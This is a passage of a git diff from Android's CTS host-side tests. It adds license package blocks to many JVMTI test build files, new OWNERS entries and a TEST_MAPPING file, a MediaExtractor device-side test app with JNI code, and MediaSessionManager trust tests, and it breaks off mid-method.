--- a/hostsidetests/jvmti/run-tests/test-982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest982HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
index 6519a10..386b349 100644
--- a/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-982/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest982DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/Android.bp b/hostsidetests/jvmti/run-tests/test-983/Android.bp
index 7a2a7f4..ed80849 100644
--- a/hostsidetests/jvmti/run-tests/test-983/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest983HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
index 635cde8..0eb0275 100644
--- a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest983DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.bp b/hostsidetests/jvmti/run-tests/test-984/Android.bp
index e3439b4..67dba15 100644
--- a/hostsidetests/jvmti/run-tests/test-984/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest984HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
index 93937ec..7d38d4f 100644
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest984DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.bp b/hostsidetests/jvmti/run-tests/test-985/Android.bp
index 9c03dea..91452c7 100644
--- a/hostsidetests/jvmti/run-tests/test-985/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest985HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
index 4faad8b..c8e953c 100644
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest985DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.bp b/hostsidetests/jvmti/run-tests/test-986/Android.bp
index 4c16b574..cfd9166 100644
--- a/hostsidetests/jvmti/run-tests/test-986/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest986HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
index d056900..4010ce6 100644
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest986DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/Android.bp b/hostsidetests/jvmti/run-tests/test-988/Android.bp
index 8493a0f..17dcb75 100644
--- a/hostsidetests/jvmti/run-tests/test-988/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest988HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
index fd2fdad..31db2e1 100644
--- a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest988DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/Android.bp b/hostsidetests/jvmti/run-tests/test-989/Android.bp
index ddca92c..0f99abc 100644
--- a/hostsidetests/jvmti/run-tests/test-989/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest989HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
index b433eec..ae0fc44 100644
--- a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest989DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/Android.bp b/hostsidetests/jvmti/run-tests/test-990/Android.bp
index a77521f..7f84835 100644
--- a/hostsidetests/jvmti/run-tests/test-990/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-990/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest990HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
index 59f59a7..f892045 100644
--- a/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-990/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest990DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/Android.bp b/hostsidetests/jvmti/run-tests/test-991/Android.bp
index 55fcb62..a7d6d5c 100644
--- a/hostsidetests/jvmti/run-tests/test-991/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest991HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
index 30d419e..96997f1 100644
--- a/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-991/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest991DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/Android.bp b/hostsidetests/jvmti/run-tests/test-992/Android.bp
index a05e992..bdb9f9c 100644
--- a/hostsidetests/jvmti/run-tests/test-992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest992HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
index cf388ea..b4c1a1f 100644
--- a/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-992/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest992DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/Android.bp b/hostsidetests/jvmti/run-tests/test-993/Android.bp
index bad6f70..37b1cc0 100644
--- a/hostsidetests/jvmti/run-tests/test-993/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest993HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
index c903584..1546d7e 100644
--- a/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-993/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest993DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/Android.bp b/hostsidetests/jvmti/run-tests/test-994/Android.bp
index 444f704..63fc348 100644
--- a/hostsidetests/jvmti/run-tests/test-994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest994HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
index 401f44c..e227326 100644
--- a/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-994/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest994DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/Android.bp b/hostsidetests/jvmti/run-tests/test-995/Android.bp
index 068a54a..818d938 100644
--- a/hostsidetests/jvmti/run-tests/test-995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest995HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
index e6333c4..9a451dc 100644
--- a/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-995/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest995DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/Android.bp b/hostsidetests/jvmti/run-tests/test-996/Android.bp
index 48c83c6..5c80177 100644
--- a/hostsidetests/jvmti/run-tests/test-996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest996HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
index 11ed826..357daa3 100644
--- a/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-996/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest996DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/Android.bp b/hostsidetests/jvmti/run-tests/test-997/Android.bp
index c1bfabf..719d51a 100644
--- a/hostsidetests/jvmti/run-tests/test-997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest997HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
index 7985c45..8d2b2a3 100644
--- a/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-997/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest997DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/tagging/Android.bp b/hostsidetests/jvmti/tagging/Android.bp
index e0b0d32..32c262c 100644
--- a/hostsidetests/jvmti/tagging/Android.bp
+++ b/hostsidetests/jvmti/tagging/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiTaggingHostTestCases",
 
diff --git a/hostsidetests/jvmti/tagging/app/Android.bp b/hostsidetests/jvmti/tagging/app/Android.bp
index 45e4d78..abf5078 100644
--- a/hostsidetests/jvmti/tagging/app/Android.bp
+++ b/hostsidetests/jvmti/tagging/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiTaggingDeviceApp",
     dex_preopt: {
diff --git a/hostsidetests/media/Android.bp b/hostsidetests/media/Android.bp
index 053a101..b16d6fe 100644
--- a/hostsidetests/media/Android.bp
+++ b/hostsidetests/media/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsMediaHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8d6b291e..8a0e441 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -4,3 +4,10 @@
 marcone@google.com
 sungsoo@google.com
 jaewan@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
+
+# Media TV
+nchalko@google.com
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..54aefae
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,58 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsMediaExtractorHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
+
+cc_test_library {
+    name: "libCtsMediaExtractorHostTestAppJni",
+    srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+    shared_libs: [
+        "liblog",
+        "libmediandk",
+        "libandroid",
+        "libnativehelper_compat_libc++",
+    ],
+    include_dirs: [
+        "frameworks/av/media/ndk/include/media",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+    sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.cts"
+            android:label="Device test app for MediaExtractor host side tests.">
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+        JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+    ScopedUtfChars scopedPath(env, assetPath);
+
+    AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+    AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+    off_t start;
+    off_t length;
+    int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+    auto mediaExtractorTask = [=]() {
+        AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+        AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+        AMediaExtractor_delete(mediaExtractor);
+    };
+
+    if (withAttachedJvm) {
+        // The currently running thread is a Java thread so it has an attached JVM.
+        mediaExtractorTask();
+    } else {
+        // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+        // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+        // new thread, and immediately join its execution so as to wait for its completion.
+        std::thread(mediaExtractorTask).join();
+    }
+    // TODO: Make resource management automatic through scoped handles.
+    close(fd);
+    AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+    static {
+        System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+    }
+
+    private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+    private AssetManager mAssetManager;
+
+    @Before
+    public void setUp() {
+        mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+    }
+
+    @Test
+    public void testEntryPointSdk() throws Exception {
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        AssetManager assetManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+        try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+            mediaExtractor.setDataSource(fileDescriptor);
+        }
+        mediaExtractor.release();
+    }
+
+    @Test
+    public void testEntryPointNdkNoJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+    }
+
+    @Test
+    public void testEntryPointNdkWithJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+    }
+
+    private native void extractUsingNdkMediaExtractor(
+            AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.bp b/hostsidetests/media/app/MediaSessionTest/Android.bp
index b21a6da..4dd94a0 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.bp
+++ b/hostsidetests/media/app/MediaSessionTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsMediaSessionHostTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index b752b41..6ed0e60 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -25,6 +26,8 @@
 import android.content.Context;
 import android.media.session.MediaController;
 import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Process;
 import android.service.notification.NotificationListenerService;
 
 import androidx.test.InstrumentationRegistry;
@@ -42,15 +45,16 @@
  */
 @SmallTest
 public class MediaSessionManagerTest extends NotificationListenerService {
-    private ComponentName mComponentName;
+    private Context mContext;
     private MediaSessionManager mMediaSessionManager;
+    private ComponentName mComponentName;
 
     @Before
     public void setUp() throws Exception {
-        Context context = InstrumentationRegistry.getTargetContext();
-        mMediaSessionManager = (MediaSessionManager) context.getSystemService(
-                Context.MEDIA_SESSION_SERVICE);
-        mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
+        mContext = InstrumentationRegistry.getTargetContext();
+        mMediaSessionManager =
+                mContext.getSystemService(MediaSessionManager.class);
+        mComponentName = new ComponentName(mContext, MediaSessionManagerTest.class);
     }
 
     /**
@@ -95,4 +99,24 @@
         List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
         assertTrue(controllers.isEmpty());
     }
+
+    /**
+     * Tests if this application is trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsTrue() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
+        assertTrue(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+    }
+
+    /**
+     * Tests if this application isn't trusted.
+     */
+    @Test
+    public void testIsTrusted_returnsFalse() throws Exception {
+        RemoteUserInfo userInfo = new RemoteUserInfo(
+                mContext.getPackageName(), Process.myPid(), Process.myUid());
